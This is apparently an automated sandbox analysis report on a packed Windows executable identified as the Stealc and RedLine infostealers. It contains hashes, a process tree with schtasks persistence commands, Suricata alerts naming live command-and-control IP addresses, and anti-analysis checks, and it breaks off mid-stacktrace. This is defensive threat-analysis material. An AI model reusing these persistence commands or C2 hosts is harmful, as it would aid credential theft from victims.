Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 13, 2023, 7:42 a.m.	Sept. 13, 2023, 7:51 a.m.

Size	806.5KB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`3b1efcafca28654e7ee16923ce5a56d2`
SHA256	`6b3ac18fa5d0a3a4ecfe6800c8d6449c166516d60f3661bf72a4ecd24fcfbd3b`
CRC32	`77307E84`
ssdeep	`24576:RWEkfGnbsaS9LvezNTmdV4z3T+nz0Yl/JL:Vkubsh9DK4VGSnoYl/JL`
Yara	Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description) OS_Processor_Check_Zero - OS Processor Check

fotod445.exe "C:\Users\test22\AppData\Local\Temp\fotod445.exe"
1608
- AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2172
  - y5477514.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y5477514.exe
    2324
    - m5507002.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\m5507002.exe
      2372
      - 6rVkpNETfwTuXfY.exe "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe"
        2892
      - cmd.exe /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"
        2928
        
        schtasks.exe schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"
        2296
      - 9N3sL7QG3mvcw8U.exe "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe"
        2968
        
        AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        2180
      - cmd.exe /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
        3024
        
        schtasks.exe schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
        2164
    - n1572014.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\n1572014.exe
      2064
  - o4696120.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\o4696120.exe
    1028
    - AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      496

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
5.42.92.211	Active	Moloch
77.91.124.82	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2047625	ET MALWARE [ANY.RUN] Win32/Stealc Checkin (POST)	A Network Trojan was detected
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043233	ET INFO Microsoft net.tcp Connection Initialization Activity	Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2046045	ET MALWARE [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	A Network Trojan was detected
TCP 77.91.124.82:19071 -> 192.168.56.103:49179	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 77.91.124.82:19071 -> 192.168.56.103:49179	2046056	ET MALWARE Redline Stealer Activity (Response)	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49179 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043233	ET INFO Microsoft net.tcp Connection Initialization Activity	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2046045	ET MALWARE [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	A Network Trojan was detected
TCP 77.91.124.82:19071 -> 192.168.56.103:49178	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 77.91.124.82:19071 -> 192.168.56.103:49178	2046056	ET MALWARE Redline Stealer Activity (Response)	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 77.91.124.82:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49185 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 5.42.92.211:80	2018358	ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (28 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 13, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 13, 2023, 7:44 a.m.			0	0
IsDebuggerPresent Sept. 13, 2023, 7:44 a.m.			0	0
IsDebuggerPresent Sept. 13, 2023, 7:44 a.m.			0	0
IsDebuggerPresent Sept. 13, 2023, 7:44 a.m.			0	0

Command line console output was observed (8 events)

Time & API	Arguments	Status	Return
WriteConsoleA Sept. 13, 2023, 7:42 a.m.	buffer: Window flashed successfully. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 13, 2023, 7:42 a.m.	buffer: Popup menu created successfully. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 13, 2023, 7:44 a.m.	buffer: Window flashed successfully. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 13, 2023, 7:44 a.m.	buffer: Popup menu created successfully. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 13, 2023, 7:44 a.m.	buffer: SUCCESS: The scheduled task "\WindowsAppPool\6rVkpNETfwTuXfY" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 13, 2023, 7:44 a.m.	buffer: SUCCESS: The scheduled task "\WindowsAppPool\9N3sL7QG3mvcw8U" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 13, 2023, 7:44 a.m.	buffer: Window flashed successfully. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 13, 2023, 7:44 a.m.	buffer: Popup menu created successfully. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (34 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647748 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647748 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006476c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006478c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00648008 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00648008 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00647ec8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00835380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00835380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0084e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0084e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0084e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0084e410 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008323d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008323d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008323d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008323d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008323d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00871df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00871df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00871f78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00872678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00872678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 13, 2023, 7:44 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00872538 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 13, 2023, 7:43 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.bsp

One or more processes crashed (28 events)

Time & API	Arguments	Status
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0x7ed221 0x7ed023 0x7e7ad8 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7ed358 registers.esp: 3534628 registers.edi: 3534680 registers.eax: 0 registers.ebp: 3534692 registers.edx: 6379920 registers.ebx: 3536132 registers.esi: 42465816 registers.ecx: 0	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb985d4 0xb97e6a 0xb97d3d 0xb96063 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532884 registers.edi: 3533228 registers.eax: 0 registers.ebp: 3532892 registers.edx: 0 registers.ebx: 3536132 registers.esi: 43262060 registers.ecx: 44388884	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb985d4 0xb97e6a 0xb97d55 0xb96063 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532884 registers.edi: 3533228 registers.eax: 0 registers.ebp: 3532892 registers.edx: 0 registers.ebx: 3536132 registers.esi: 43262060 registers.ecx: 45693288	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb985d4 0xb97e6a 0xb97d55 0xb96063 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 